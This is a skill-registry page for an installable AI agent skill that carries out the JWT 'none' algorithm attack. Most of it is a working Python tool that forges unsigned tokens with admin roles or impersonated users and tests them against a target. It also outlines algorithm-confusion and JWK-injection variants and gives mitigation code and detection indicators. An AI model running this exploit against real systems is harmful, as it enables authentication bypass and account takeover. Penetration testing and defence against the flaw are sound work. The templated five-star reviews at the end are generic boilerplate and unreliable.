performing-jwt-none-algorithm-attack

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-jwt-none-algorithm-attack
0 commentsdiscussion
summary

Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.

skill.md
name
performing-jwt-none-algorithm-attack
description
Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.
domain
cybersecurity
subdomain
api-security
tags
- jwt - none-algorithm - authentication-bypass - token-manipulation - signature-bypass - penetration-testing - owasp - web-security
version
'1.0'
author
mahipal
license
Apache-2.0
nist_csf
- PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01

Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."

    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value

        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})

        return tokens

    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })

        return results

    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}

        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]

        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})

        return results


def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)

    target_url = sys.argv[1]
    original_token = sys.argv[2]

    attacker = JWTNoneAttack(target_url, original_token)

    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")

    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()

    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")


if __name__ == "__main__":
    main()

Step 4: Additional JWT Attack Variants

Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:

  1. Change alg to HS256
  2. Sign the token using the public key as the HMAC secret
  3. The server may verify the signature using its public key as an HMAC key

JWK Header Injection (CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

Mitigation Strategies

# Secure JWT verification - always specify allowed algorithms
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

Detection Indicators

  • JWT tokens with "alg": "none" (or case variations) in server logs
  • Tokens with empty or missing signature segments
  • Sudden change in algorithm field from normal patterns
  • Tokens with modified claims (role escalation) from the same session
  • Authorization header containing tokens with only two Base64 segments

References

how to use performing-jwt-none-algorithm-attack

How to use performing-jwt-none-algorithm-attack on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add performing-jwt-none-algorithm-attack
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-jwt-none-algorithm-attack

The skills CLI fetches performing-jwt-none-algorithm-attack from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-jwt-none-algorithm-attack

Reload or restart Cursor to activate performing-jwt-none-algorithm-attack. Access the skill through slash commands (e.g., /performing-jwt-none-algorithm-attack) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.429 reviews
  • Ira Chen· Dec 28, 2024

    We added performing-jwt-none-algorithm-attack from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Shikha Mishra· Dec 8, 2024

    performing-jwt-none-algorithm-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Rahul Santra· Nov 27, 2024

    performing-jwt-none-algorithm-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Ishan Gupta· Nov 19, 2024

    performing-jwt-none-algorithm-attack fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Pratham Ware· Oct 18, 2024

    We added performing-jwt-none-algorithm-attack from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Camila Rao· Oct 10, 2024

    performing-jwt-none-algorithm-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Ren Srinivasan· Sep 17, 2024

    performing-jwt-none-algorithm-attack is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • James Perez· Sep 17, 2024

    Useful defaults in performing-jwt-none-algorithm-attack — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Hana Nasser· Sep 13, 2024

    Registry listing for performing-jwt-none-algorithm-attack matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Evelyn Garcia· Aug 8, 2024

    Solid pick for teams standardizing on skills: performing-jwt-none-algorithm-attack is focused, and the summary matches what you get after install.

showing 1-10 of 29

1 / 3